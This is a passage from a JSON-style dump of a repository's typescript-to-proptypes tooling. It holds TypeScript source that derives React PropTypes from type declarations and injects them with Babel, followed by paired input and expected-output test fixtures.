(elementTypeName) {\n      const elementNode = createElementType({\n        elementType: elementTypeName === 'React.ReactElement' ? 'element' : 'elementType',\n        jsDoc,\n      });\n\n      return {\n        $$id: project.createPropTypeId(symbol),\n        name: symbol.getName(),\n        jsDoc,\n        filenames: symbolFilenames,\n        propType: declaration.questionToken\n          ? createUnionType({\n              jsDoc: elementNode.jsDoc,\n              types: [\n                createUndefinedType({ jsDoc: undefined }),\n                {\n                  ...elementNode,\n                  // jsDoc was hoisted to the union type\n                  jsDoc: undefined,\n                },\n              ],\n            })\n          : elementNode,\n      };\n    }\n  }\n\n  const type = getType({ project, symbol, declaration, location });\n\n  // Typechecker only gives the type \"any\" if it's present in a union\n  // This means the type of \"a\" in {a?:any} isn't \"any | undefined\"\n  // So instead we check for the questionmark to detect optional types\n  let parsedType: PropType | undefined;\n  if (\n    (type.flags & ts.TypeFlags.Any || type.flags & ts.TypeFlags.Unknown) &&\n    declaration &&\n    ts.isPropertySignature(declaration)\n  ) {\n    parsedType =\n      symbol.flags & ts.SymbolFlags.Optional\n        ? createUnionType({\n            jsDoc,\n            types: [createUndefinedType({ jsDoc: undefined }), createAnyType({ jsDoc: undefined })],\n          })\n        : createAnyType({ jsDoc });\n  } else {\n    parsedType = checkType({ type, location, typeStack, name: symbol.getName(), project });\n  }\n\n  return {\n    $$id: project.createPropTypeId(type),\n    name: symbol.getName(),\n    jsDoc,\n    propType: parsedType,\n    filenames: symbolFilenames,\n  };\n}\n\n/**\n * Squashes props from:\n * { variant: 'a', href: string } & { variant: 'b' }\n * Into:\n * { variant: 'a' | 'b', href?: string }\n */\nfunction squashPropTypeDefinitions({\n  propTypeDefinitions,\n  onlyUsedInSomeSignatures,\n}: {\n  propTypeDefinitions: PropTypeDefinition[];\n  onlyUsedInSomeSignatures: boolean;\n}): PropTypeDefinition {\n  const distinctDefinitions = new Map<number, PropTypeDefinition>();\n  propTypeDefinitions.forEach((definition) => {\n    // Always update so that the last definition's jsDoc wins\n    // This ensures that when types are intersected (A & B), the last type's documentation is used\n    distinctDefinitions.set(definition.$$id, definition);\n  });\n\n  if (distinctDefinitions.size === 1 && !onlyUsedInSomeSignatures) {\n    return propTypeDefinitions[0];\n  }\n\n  const definitions = Array.from(distinctDefinitions.values());\n  const types = definitions.map((definition) => definition.propType);\n  if (onlyUsedInSomeSignatures) {\n    types.push(createUndefinedType({ jsDoc: undefined }));\n  }\n\n  // Use the last definition's jsDoc so that when types are intersected (A & B),\n  // the last type's documentation wins\n  const lastDefinition = definitions[definitions.length - 1];\n\n  return {\n    name: lastDefinition.name,\n    jsDoc: lastDefinition.jsDoc,\n    propType: createUnionType({\n      // TODO: jsDoc from squashing is dropped\n      jsDoc: undefined,\n      types,\n    }),\n    filenames: new Set(definitions.flatMap((definition) => Array.from(definition.filenames))),\n    $$id: lastDefinition.$$id,\n  };\n}\n\nfunction generatePropTypesFromNode(\n  params: Omit<GetPropsFromComponentDeclarationOptions, 'project'> & { project: PropTypesProject },\n): PropTypesComponent | null {\n  const parsedComponent = getPropsFromComponentNode(params);\n  if (parsedComponent == null) {\n    return null;\n  }\n\n  const propsFilename =\n    parsedComponent.sourceFile !== undefined ? parsedComponent.sourceFile.fileName : undefined;\n\n  const types = Object.values(parsedComponent.props).map((prop) => {\n    const propTypeDefinitions = prop.signatures.map(({ symbol, componentType }) =>\n      checkSymbol({\n        symbol,\n        project: params.project,\n        location: parsedComponent.location,\n        typeStack: [(componentType as any).id],\n        parentType: componentType,\n      }),\n    );\n\n    return squashPropTypeDefinitions({\n      propTypeDefinitions,\n      onlyUsedInSomeSignatures: prop.onlyUsedInSomeSignatures,\n    });\n  });\n\n  return {\n    name: parsedComponent.name,\n    types,\n    propsFilename,\n  };\n}\n\nexport function getPropTypesFromFile({\n  filePath,\n  project,\n  shouldInclude: inShouldInclude,\n  shouldResolveObject: inShouldResolveObject,\n  shouldUseObjectForDate,\n  checkDeclarations,\n}: GetPropTypesFromFileOptions) {\n  const sourceFile = project.program.getSourceFile(filePath);\n  const reactComponentName = filePath.match(/.*\\/([^/]+)/)?.[1];\n  const components: PropTypesComponent[] = [];\n  const sigilIds: Map<ts.Symbol | ts.Type, number> = new Map();\n  /**\n   *\n   * @param sigil - Prefer ts.Type if available since these are re-used in the type checker. Symbols (especially those for literals) are oftentimes re-created on every usage.\n   */\n  function createPropTypeId(sigil: ts.Symbol | ts.Type) {\n    if (!sigilIds.has(sigil)) {\n      sigilIds.set(sigil, sigilIds.size);\n    }\n\n    return sigilIds.get(sigil)!;\n  }\n\n  const shouldResolveObject: PropTypesProject['shouldResolveObject'] = (data) => {\n    if (inShouldResolveObject) {\n      const result = inShouldResolveObject(data);\n      if (result !== undefined) {\n        return result;\n      }\n    }\n\n    return data.propertyCount <= 50 && data.depth <= 3;\n  };\n\n  const shouldInclude: PropTypesProject['shouldInclude'] = (data): boolean => {\n    // ref is a reserved prop name in React\n    // for example https://github.com/reactjs/rfcs/pull/107\n    // no need to add a prop-type\n    if (data.name === 'ref') {\n      return false;\n    }\n\n    if (inShouldInclude) {\n      const result = inShouldInclude(data);\n      if (result !== undefined) {\n        return result;\n      }\n    }\n\n    return true;\n  };\n\n  const propTypesProject: PropTypesProject = {\n    ...project,\n    reactComponentName,\n    shouldResolveObject,\n    shouldUseObjectForDate,\n    shouldInclude,\n    createPropTypeId,\n  };\n\n  if (sourceFile) {\n    ts.forEachChild(sourceFile, (node) => {\n      const component = generatePropTypesFromNode({\n        project: propTypesProject,\n        node,\n        shouldInclude,\n        checkDeclarations,\n      });\n      if (component != null) {\n        components.push(component);\n      }\n    });\n  } else {\n    throw new Error(`Program doesn't contain file \"${filePath}\"`);\n  }\n\n  return components;\n}\n\nexport interface GetPropTypesFromFileOptions extends Pick<\n  GetPropsFromComponentDeclarationOptions,\n  'shouldInclude' | 'project' | 'checkDeclarations'\n> {\n  filePath: string;\n  /**\n   * Called before the shape of an object is resolved\n   * @returns true to resolve the shape of the object, false to just use a object, or undefined to\n   * use the default behavior\n   * @default propertyCount <= 50 && depth <= 3\n   */\n  shouldResolveObject?: (data: {\n    name: string;\n    propertyCount: number;\n    depth: number;\n  }) => boolean | undefined;\n  /**\n   * Called to know if a date should be represented as `PropTypes.object` or `PropTypes.instanceOf(Date)\n   * @returns true to use `PropTypes.object`, false to use `PropTypes.instanceOf(Date)`.\n   * @default false\n   */\n  shouldUseObjectForDate?: (data: { name: string }) => boolean;\n}\n\ninterface PropTypesProject extends TypeScriptProject {\n  reactComponentName: string | undefined;\n  shouldResolveObject: NonNullable<GetPropTypesFromFileOptions['shouldResolveObject']>;\n  shouldUseObjectForDate: GetPropTypesFromFileOptions['shouldUseObjectForDate'];\n  shouldInclude: NonNullable<GetPropTypesFromFileOptions['shouldInclude']>;\n  createPropTypeId: (sigil: ts.Symbol | ts.Type) => number;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/src/getTypeHash.ts",
    "content": "import { PropType } from './models';\n\nexport default function getTypeHash(type: PropType): string {\n  switch (type.type) {\n    case 'LiteralNode':\n      return type.value.toString();\n    case 'InstanceOfNode':\n      return `${type.type}.${type.instance}`;\n    case 'array':\n      return `array(${getTypeHash(type.arrayType)})`;\n    case 'InterfaceNode':\n      return `interface(${[...type.types]\n        .sort((a, b) => a[0].localeCompare(b[0]))\n        .map((t) => `${t[0]}:${getTypeHash(t[1])}`)\n        .join(',')})`;\n    case 'UnionNode':\n      return `union(${[...type.types]\n        .map((t) => getTypeHash(t))\n        .sort((a, b) => a.localeCompare(b))\n        .join(',')})`;\n    default:\n      return type.type;\n  }\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/src/index.ts",
    "content": "export { getPropTypesFromFile } from './getPropTypesFromFile';\nexport type { GetPropTypesFromFileOptions } from './getPropTypesFromFile';\nexport { injectPropTypesInFile } from './injectPropTypesInFile';\nexport type { InjectPropTypesInFileOptions } from './injectPropTypesInFile';\nexport { generatePropTypes } from './generatePropTypes';\nexport type { GeneratePropTypesOptions } from './generatePropTypes';\nexport type { LiteralType } from './models';\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/src/injectPropTypesInFile.ts",
    "content": "import * as babel from '@babel/core';\nimport * as babelTypes from '@babel/types';\nimport { randomUUID } from 'node:crypto';\nimport { generatePropTypes, GeneratePropTypesOptions } from './generatePropTypes';\nimport { PropTypesComponent, PropTypeDefinition, LiteralType } from './models';\n\nexport interface InjectPropTypesInFileOptions extends Pick<\n  GeneratePropTypesOptions,\n  | 'sortProptypes'\n  | 'includeJSDoc'\n  | 'comment'\n  | 'disablePropTypesTypeChecking'\n  | 'reconcilePropTypes'\n  | 'ensureBabelPluginTransformReactRemovePropTypesIntegration'\n> {\n  /**\n   * By default, all unused props are omitted from the result.\n   * Set this to true to include them instead.\n   */\n  includeUnusedProps?: boolean;\n  /**\n   * Used to control which props are includes in the result\n   * @returns true to include the prop, false to skip it, or undefined to\n   * use the default behavior\n   * @default includeUnusedProps ? true : data.usedProps.includes(data.prop.name)\n   */\n  shouldInclude?(data: {\n    component: PropTypesComponent;\n    prop: PropTypeDefinition;\n    usedProps: readonly string[];\n  }): boolean | undefined;\n  /**\n   * You can override the order of literals in unions based on the proptype.\n   *\n   * By default, literals in unions are sorted by:\n   * - numbers last, ascending\n   * - anything else by their stringified value using localeCompare\n   * Note: The order of the literals as they \"appear\" in the typings cannot be preserved.\n   * Sometimes the type checker preserves it, sometimes it doesn't.\n   * By always returning 0 from the sort function you keep the order the type checker dictates.\n   */\n  getSortLiteralUnions?: (\n    component: PropTypesComponent,\n    propType: PropTypeDefinition,\n  ) => ((a: LiteralType, b: LiteralType) => number) | undefined;\n  /**\n   * Options passed to babel.transformSync\n   */\n  babelOptions?: babel.TransformOptions;\n}\n\n/**\n * Gets used props from path\n * @param rootPath The path to search for uses of rootNode\n * @param rootNode The node to start the search, if undefined searches for `this.props`\n */\nfunction getUsedProps(\n  rootPath: babel.NodePath,\n  rootNode: babelTypes.ObjectPattern | babelTypes.Identifier | undefined,\n) {\n  const usedProps: string[] = [];\n\n  function getUsedPropsInternal(\n    node: babelTypes.ObjectPattern | babelTypes.Identifier | undefined,\n  ) {\n    if (node && babelTypes.isObjectPattern(node)) {\n      node.properties.forEach((x) => {\n        if (babelTypes.isObjectProperty(x)) {\n          if (babelTypes.isStringLiteral(x.key)) {\n            usedProps.push(x.key.value);\n          } else if (babelTypes.isIdentifier(x.key)) {\n            usedProps.push(x.key.name);\n          } else {\n            console.warn(\n              'Possibly used prop missed because object property key was not an Identifier or StringLiteral.',\n            );\n          }\n        } else if (babelTypes.isIdentifier(x.argument)) {\n          // get access props from rest-spread (`{...other}`)\n          getUsedPropsInternal(x.argument);\n        }\n      });\n    } else {\n      rootPath.traverse({\n        VariableDeclarator(path) {\n          const init = path.node.init;\n          if (\n            (node\n              ? babelTypes.isIdentifier(init, { name: node.name })\n              : babelTypes.isMemberExpression(init) &&\n                babelTypes.isThisExpression(init.object) &&\n                babelTypes.isIdentifier(init.property, { name: 'props' })) &&\n            babelTypes.isObjectPattern(path.node.id)\n          ) {\n            getUsedPropsInternal(path.node.id);\n          } else if (\n            // currently tracking `inProps` which stands for the given props e.g. `function Modal(inProps) {}`\n            babelTypes.isIdentifier(node, { name: 'inProps' }) &&\n            // `const props = ...` assuming the right-hand side has `inProps` as input.\n            babelTypes.isIdentifier(path.node.id, { name: 'props' })\n          ) {\n            getUsedPropsInternal(path.node.id);\n          }\n        },\n        MemberExpression(path) {\n          if (\n            (node\n              ? babelTypes.isIdentifier(path.node.object, { name: node.name })\n              : babelTypes.isMemberExpression(path.node.object) &&\n                babelTypes.isMemberExpression(path.node.object.object) &&\n                babelTypes.isThisExpression(path.node.object.object.object) &&\n                babelTypes.isIdentifier(path.node.object.object.property, { name: 'props' })) &&\n            babelTypes.isIdentifier(path.node.property)\n          ) {\n            usedProps.push(path.node.property.name);\n          }\n        },\n      });\n    }\n  }\n\n  getUsedPropsInternal(rootNode);\n  return usedProps;\n}\n\nfunction flattenTsAsExpression(node: babel.types.Node | null | undefined) {\n  if (babelTypes.isTSAsExpression(node)) {\n    return node.expression as babel.Node;\n  }\n\n  return node;\n}\n\nfunction createBabelPlugin({\n  components,\n  options,\n  mapOfPropTypes,\n}: {\n  components: PropTypesComponent[];\n  options: InjectPropTypesInFileOptions;\n  mapOfPropTypes: Map<string, string>;\n}): babel.PluginObj {\n  const {\n    includeUnusedProps = false,\n    reconcilePropTypes = (\n      _prop: PropTypeDefinition,\n      _previous: string | undefined,\n      generated: string,\n    ) => generated,\n    ...otherOptions\n  } = options;\n  const shouldInclude: Exclude<InjectPropTypesInFileOptions['shouldInclude'], undefined> = (\n    data,\n  ) => {\n    // key is a reserved prop name in React\n    // for example https://github.com/reactjs/rfcs/pull/107\n    // no need to add a prop-type if we won't generate the docs for it.\n    if (data.prop.name === 'key' && data.prop.jsDoc === '@ignore') {\n      return false;\n    }\n\n    if (options.shouldInclude) {\n      const result = options.shouldInclude(data);\n      if (result !== undefined) {\n        return result;\n      }\n    }\n\n    return includeUnusedProps ? true : data.usedProps.includes(data.prop.name);\n  };\n\n  let importName = '';\n  let needImport = false;\n  let alreadyImported = false;\n  const originalPropTypesPaths = new Map<string, babel.NodePath>();\n  const previousPropTypesSources = new Map<string, Map<string, string>>();\n  const previousPropTypesJsDocs = new Map<string, Map<string, string>>();\n\n  function injectPropTypes(injectOptions: {\n    path: babel.NodePath;\n    usedProps: readonly string[];\n    props: PropTypesComponent;\n    nodeName: string;\n  }) {\n    const { path, props, usedProps, nodeName } = injectOptions;\n\n    const previousPropTypesSource =\n      previousPropTypesSources.get(nodeName) || new Map<string, string>();\n    const previousPropTypesJsDoc =\n      previousPropTypesJsDocs.get(nodeName) || new Map<string, string>();\n\n    const source = generatePropTypes(props, {\n      ...otherOptions,\n      importedName: importName,\n      previousPropTypesSource,\n      previousPropTypesJsDoc,\n      reconcilePropTypes,\n      shouldInclude: (prop) => shouldInclude({ component: props, prop, usedProps }),\n    });\n    const emptyPropTypes = source === '';\n\n    if (!emptyPropTypes) {\n      needImport = true;\n    }\n\n    const placeholder = `const a${randomUUID().replace(/-/g, '_')} = null;`;\n\n    mapOfPropTypes.set(placeholder, source);\n\n    const originalPropTypesPath = originalPropTypesPaths.get(nodeName);\n\n    // `Component.propTypes` already exists\n    if (originalPropTypesPath) {\n      originalPropTypesPath.replaceWith(babel.template.ast(placeholder) as babel.Node);\n    } else if (!emptyPropTypes && babelTypes.isExportNamedDeclaration(path.parent)) {\n      // in:\n      // export function Component() {}\n      // out:\n      // function Component() {}\n      // Component.propTypes = {}\n      // export { Component }\n      path.insertAfter(babel.template.ast(`export { ${nodeName} };`));\n      path.insertAfter(babel.template.ast(placeholder));\n      path.parentPath!.replaceWith(path.node);\n    } else if (!emptyPropTypes && babelTypes.isExportDefaultDeclaration(path.parent)) {\n      // in:\n      // export default function Component() {}\n      // out:\n      // function Component() {}\n      // Component.propTypes = {}\n      // export default Component\n      path.insertAfter(babel.template.ast(`export default ${nodeName};`));\n      path.insertAfter(babel.template.ast(placeholder));\n      path.parentPath!.replaceWith(path.node);\n    } else {\n      path.insertAfter(babel.template.ast(placeholder));\n    }\n  }\n\n  return {\n    visitor: {\n      Program: {\n        enter(path, state: any) {\n          if (\n            !path.node.body.some((n) => {\n              if (\n                babelTypes.isImportDeclaration(n) &&\n                n.source.value === 'prop-types' &&\n                n.specifiers.length\n              ) {\n                importName = n.specifiers[0].local.name;\n                alreadyImported = true;\n                return true;\n              }\n              return false;\n            })\n          ) {\n            importName = 'PropTypes';\n          }\n\n          path.get('body').forEach((nodePath) => {\n            const { node } = nodePath;\n            if (\n              babelTypes.isExpressionStatement(node) &&\n              babelTypes.isAssignmentExpression(node.expression, { operator: '=' }) &&\n              babelTypes.isMemberExpression(node.expression.left) &&\n              babelTypes.isIdentifier(node.expression.left.property, { name: 'propTypes' })\n            ) {\n              babelTypes.assertIdentifier(node.expression.left.object);\n              const componentName = node.expression.left.object.name;\n              originalPropTypesPaths.set(componentName, nodePath);\n\n              const previousPropTypesSource = new Map<string, string>();\n              previousPropTypesSources.set(componentName, previousPropTypesSource);\n\n              const previousPropTypesJsDoc = new Map<string, string>();\n              previousPropTypesJsDocs.set(componentName, previousPropTypesJsDoc);\n\n              let maybeObjectExpression = node.expression.right;\n              // Component.propTypes = {} as any;\n              //                       ^^^^^^^^^ expression.right\n              //                       ^^^^^^^^^ TSAsExpression\n              //                       ^^ ObjectExpression\n              // TODO: Not covered by a unit test but by e2e usage with the docs.\n              // Testing infra not setup to handle input=output.\n              if (babelTypes.isTSAsExpression(node.expression.right)) {\n                maybeObjectExpression = node.expression.right.expression;\n              }\n\n              if (babelTypes.isObjectExpression(maybeObjectExpression)) {\n                const { code } = state.file;\n\n                maybeObjectExpression.properties.forEach((property) => {\n                  if (babelTypes.isObjectProperty(property)) {\n                    const validatorSource = code.slice(property.value.start, property.value.end);\n\n                    let propName: string | undefined;\n                    if (babelTypes.isIdentifier(property.key)) {\n                      propName = property.key.name;\n                    } else if (babelTypes.isStringLiteral(property.key)) {\n                      propName = property.key.value;\n                    } else {\n                      console.warn(\n                        `${state.filename}: Possibly missed original proTypes source. Can only determine names for 'Identifiers' and 'StringLiteral' but received '${property.key.type}'.`,\n                      );\n                    }\n\n                    if (propName !== undefined) {\n                      previousPropTypesSource.set(propName, validatorSource);\n\n                      const leadingComments = property.leadingComments;\n                      if (leadingComments) {\n                        const jsDocComment = leadingComments.find(\n                          (c) => c.type === 'CommentBlock' && c.value.startsWith('*'),\n                        );\n                        if (\n                          jsDocComment &&\n                          jsDocComment.start != null &&\n                          jsDocComment.end != null\n                        ) {\n                          previousPropTypesJsDoc.set(\n                            propName,\n                            code.slice(jsDocComment.start, jsDocComment.end),\n                          );\n                        }\n                      }\n                    }\n                  }\n                });\n              }\n            }\n          });\n        },\n        exit(path) {\n          if (alreadyImported || !needImport) {\n            return;\n          }\n\n          const propTypesImport = babel.template.ast(\n            `import ${importName} from 'prop-types'`,\n          ) as babel.types.ImportDeclaration;\n\n          const firstImport = path\n            .get('body')\n            .find((nodePath) => babelTypes.isImportDeclaration(nodePath.node));\n\n          // Insert import after the first one to avoid issues with comment flags\n          if (firstImport) {\n            firstImport.insertAfter(propTypesImport);\n          } else {\n            path.node.body = [propTypesImport, ...path.node.body];\n          }\n        },\n      },\n      FunctionDeclaration(path) {\n        const { node } = path;\n\n        // Prevent visiting again\n        if ((node as any).hasBeenVisited) {\n          path.skip();\n          return;\n        }\n\n        if (!node.id) {\n          return;\n        }\n        const props = components.find((component) => component.name === node.id!.name);\n        if (!props) {\n          return;\n        }\n\n        // Prevent visiting again\n        (node as any).hasBeenVisited = true;\n        path.skip();\n\n        const prop = node.params[0];\n        injectPropTypes({\n          nodeName: node.id.name,\n          usedProps:\n            babelTypes.isIdentifier(prop) || babelTypes.isObjectPattern(prop)\n              ? getUsedProps(path as babel.NodePath, prop)\n              : [],\n          path: path as babel.NodePath,\n          props,\n        });\n      },\n      VariableDeclarator(path) {\n        const { node } = path;\n\n        // Prevent visiting again\n        if ((node as any).hasBeenVisited) {\n          path.skip();\n          return;\n        }\n\n        if (!babelTypes.isIdentifier(node.id)) {\n          return;\n        }\n        const nodeName = node.id.name;\n\n        const props = components.find((component) => component.name === nodeName);\n        if (!props) {\n          return;\n        }\n\n        function getFromProp(propsNode: babelTypes.Node) {\n          // Prevent visiting again\n          (node as any).hasBeenVisited = true;\n          path.skip();\n\n          injectPropTypes({\n            path: path.parentPath,\n            usedProps:\n              babelTypes.isIdentifier(propsNode) || babelTypes.isObjectPattern(propsNode)\n                ? getUsedProps(path as babel.NodePath, propsNode)\n                : [],\n            props: props!,\n            nodeName,\n          });\n        }\n\n        const nodeInit = flattenTsAsExpression(node.init);\n\n        if (\n          babelTypes.isArrowFunctionExpression(nodeInit) ||\n          babelTypes.isFunctionExpression(nodeInit)\n        ) {\n          getFromProp(nodeInit.params[0]);\n        } else if (babelTypes.isCallExpression(nodeInit)) {\n          if ((nodeInit.callee as babel.types.Identifier)?.name?.match(/create[A-Z].*/)) {\n            // Any components that are created by a factory function, for example System Box | Container | Grid.\n            getFromProp(node);\n          } else {\n            // x = react.memo(props => <div/>) / react.forwardRef(props => <div />)\n            let resolvedNode: babel.Node = nodeInit;\n            while (babelTypes.isCallExpression(resolvedNode)) {\n              resolvedNode = resolvedNode.arguments[0];\n            }\n\n            if (\n              babelTypes.isArrowFunctionExpression(resolvedNode) ||\n              babelTypes.isFunctionExpression(resolvedNode)\n            ) {\n              getFromProp(resolvedNode.params[0]);\n            }\n          }\n        }\n      },\n      ClassDeclaration(path) {\n        const { node } = path;\n\n        // Prevent visiting again\n        if ((node as any).hasBeenVisited) {\n          path.skip();\n          return;\n        }\n\n        if (!babelTypes.isIdentifier(node.id)) {\n          return;\n        }\n        const nodeName = node.id.name;\n\n        const props = components.find((component) => component.name === nodeName);\n        if (!props) {\n          return;\n        }\n\n        // Prevent visiting again\n        (node as any).hasBeenVisited = true;\n        path.skip();\n\n        injectPropTypes({\n          nodeName,\n          usedProps: getUsedProps(path as babel.NodePath, undefined),\n          path: path as babel.NodePath,\n          props,\n        });\n      },\n    },\n  };\n}\n\n/**\n * Injects the PropTypes from `parse` into the provided JavaScript code\n * @param components Result from `generateFilePropTypes` to inject into the JavaScript code\n * @param target The JavaScript code to add the PropTypes to\n * @param options Options controlling the final result\n */\nexport function injectPropTypesInFile({\n  components,\n  target,\n  options = {},\n}: {\n  components: PropTypesComponent[];\n  target: string;\n  options?: InjectPropTypesInFileOptions;\n}): string | null {\n  if (components.length === 0) {\n    return target;\n  }\n\n  const mapOfPropTypes = new Map<string, string>();\n\n  const { plugins: babelPlugins = [], ...babelOptions } = options.babelOptions || {};\n  const result = babel.transformSync(target, {\n    plugins: [\n      require.resolve('@babel/plugin-syntax-class-properties'),\n      require.resolve('@babel/plugin-syntax-jsx'),\n      [require.resolve('@babel/plugin-syntax-typescript'), { isTSX: true }],\n      createBabelPlugin({ components, options, mapOfPropTypes }),\n      ...(babelPlugins || []),\n    ],\n    configFile: false,\n    babelrc: false,\n    retainLines: true,\n    ...babelOptions,\n  });\n\n  let code = result?.code;\n  if (!code) {\n    return null;\n  }\n\n  // Replace the placeholders with the generated prop-types\n  // Workaround for issues with comments getting removed and malformed\n  mapOfPropTypes.forEach((value, key) => {\n    code = code!.replace(key, `\\n\\n${value}\\n\\n`);\n  });\n\n  return code;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/src/models.ts",
    "content": "import ts from 'typescript';\n\nexport interface PropTypeDefinition {\n  name: string;\n  jsDoc: string | undefined;\n  propType: PropType;\n  filenames: Set<string>;\n  /**\n   * @internal\n   */\n  $$id: number;\n}\n\nexport interface PropTypesComponent {\n  name: string;\n  propsFilename?: string;\n  types: PropTypeDefinition[];\n}\n\nexport type PropType =\n  | AnyType\n  | ArrayType\n  | BooleanType\n  | DOMElementType\n  | ElementType\n  | FunctionType\n  | InstanceOfType\n  | InterfaceType\n  | LiteralType\n  | NumericType\n  | ObjectType\n  | StringType\n  | UndefinedType\n  | UnionType;\n\nexport interface BasePropType {\n  jsDoc: string | undefined;\n  type: string;\n}\n\nexport interface UndefinedType extends BasePropType {\n  type: 'UndefinedNode';\n}\n\nexport interface AnyType extends BasePropType {\n  type: 'any';\n}\n\nexport interface ArrayType extends BasePropType {\n  arrayType: PropType;\n  type: 'array';\n}\n\nexport interface BooleanType extends BasePropType {\n  type: 'boolean';\n}\n\nexport interface DOMElementType extends BasePropType {\n  optional?: boolean;\n  type: 'DOMElementNode';\n}\n\nexport interface ElementType extends BasePropType {\n  elementType: 'element' | 'node' | 'elementType';\n  type: 'ElementNode';\n}\n\nexport interface FunctionType extends BasePropType {\n  type: 'FunctionNode';\n}\n\nexport interface InstanceOfType extends BasePropType {\n  instance: string;\n  type: 'InstanceOfNode';\n}\n\nexport interface InterfaceType extends BasePropType {\n  type: 'InterfaceNode';\n  types: ReadonlyArray<[string, PropType]>;\n}\n\nexport interface LiteralType extends BasePropType {\n  value: string | number | ts.PseudoBigInt;\n  type: 'LiteralNode';\n}\n\nexport interface NumericType extends BasePropType {\n  type: 'NumericNode';\n}\n\nexport interface ObjectType extends BasePropType {\n  type: 'ObjectNode';\n}\n\nexport interface StringType extends BasePropType {\n  type: 'StringNode';\n}\n\nexport interface UnionType extends BasePropType {\n  type: 'UnionNode';\n  types: readonly PropType[];\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/boolean-values-optional/input.d.ts",
    "content": "type Props = {\n  foo?: boolean;\n  bar?: true;\n  baz?: false;\n};\n\nexport default function Foo(props: Props): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/boolean-values-optional/output.js",
    "content": "Foo.propTypes = {\n  bar: PropTypes.oneOf([true]),\n  baz: PropTypes.oneOf([false]),\n  foo: PropTypes.bool,\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/boolean-values-required/input.d.ts",
    "content": "type Props = {\n  foo: boolean;\n  bar: true;\n  baz: false;\n};\n\nexport default function Foo(props: Props): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/boolean-values-required/output.js",
    "content": "Foo.propTypes = {\n  bar: PropTypes.oneOf([true]).isRequired,\n  baz: PropTypes.oneOf([false]).isRequired,\n  foo: PropTypes.bool.isRequired,\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/code-order/input.d.ts",
    "content": "import * as React from 'react';\n\nexport interface Props {\n  value: unknown;\n}\n\nexport default function Component(props: Props): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/code-order/input.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\nfunction Component(props) {\n  const { value } = props;\n  return <div>{value}</div>;\n}\n\nconst someValidator = () => new Error();\n\nComponent.propTypes = {\n  value: PropTypes.any,\n};\n\nexport default Component;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/code-order/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\nfunction Component(props) {\n  const { value } = props;\n  return <div>{value}</div>;\n}\n\nconst someValidator = () => new Error();\n\nComponent.propTypes = {\n  value: PropTypes.any.isRequired,\n};\n\nexport default Component;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/component-type/input.d.ts",
    "content": "import * as React from 'react';\n\nexport interface Props {\n  Foo?: React.ComponentType;\n  Bar: React.ComponentType;\n}\n\nexport default function Component(props: Props): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/component-type/input.js",
    "content": "import * as React from 'react';\n\nfunction Component(props) {\n  const { Foo, Bar } = props;\n  return (\n    <>\n      <Foo />\n      <Bar />\n    </>\n  );\n}\n\nexport default Component;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/component-type/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\nfunction Component(props) {\n  const { Foo, Bar } = props;\n  return (\n    <>\n      <Foo />\n      <Bar />\n    </>\n  );\n}\n\nComponent.propTypes = {\n  Bar: PropTypes.elementType.isRequired,\n  Foo: PropTypes.elementType,\n};\n\nexport default Component;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/default-value/input.d.ts",
    "content": "interface Props {\n  /**\n   * The type of the button relevant to its `<form>`.\n   * @default 'button'\n   */\n  type?: 'button' | 'reset' | 'submit';\n}\n\nexport function Foo(props: Props): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/default-value/output.js",
    "content": "Foo.propTypes = {\n  /**\n   * The type of the button relevant to its `<form>`.\n   * @default 'button'\n   */\n  type: PropTypes.oneOf(['button', 'reset', 'submit']),\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/generator-html-elements/input.d.ts",
    "content": "export function Foo(props: {\n  element: Element;\n  optional?: Element;\n  htmlElement: HTMLElement;\n  bothTypes: Element | HTMLElement;\n}): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/generator-html-elements/output.js",
    "content": "Foo.propTypes = {\n  bothTypes: (props, propName) => {\n    if (props[propName] == null) {\n      return new Error(`Prop '${propName}' is required but wasn't specified`);\n    }\n    if (typeof props[propName] !== 'object' || props[propName].nodeType !== 1) {\n      return new Error(`Expected prop '${propName}' to be of type Element`);\n    }\n    return null;\n  },\n  element: (props, propName) => {\n    if (props[propName] == null) {\n      return new Error(`Prop '${propName}' is required but wasn't specified`);\n    }\n    if (typeof props[propName] !== 'object' || props[propName].nodeType !== 1) {\n      return new Error(`Expected prop '${propName}' to be of type Element`);\n    }\n    return null;\n  },\n  htmlElement: (props, propName) => {\n    if (props[propName] == null) {\n      return new Error(`Prop '${propName}' is required but wasn't specified`);\n    }\n    if (typeof props[propName] !== 'object' || props[propName].nodeType !== 1) {\n      return new Error(`Expected prop '${propName}' to be of type Element`);\n    }\n    return null;\n  },\n  optional: (props, propName) => {\n    if (props[propName] == null) {\n      return null;\n    }\n    if (typeof props[propName] !== 'object' || props[propName].nodeType !== 1) {\n      return new Error(`Expected prop '${propName}' to be of type Element`);\n    }\n    return null;\n  },\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/generic/input.d.ts",
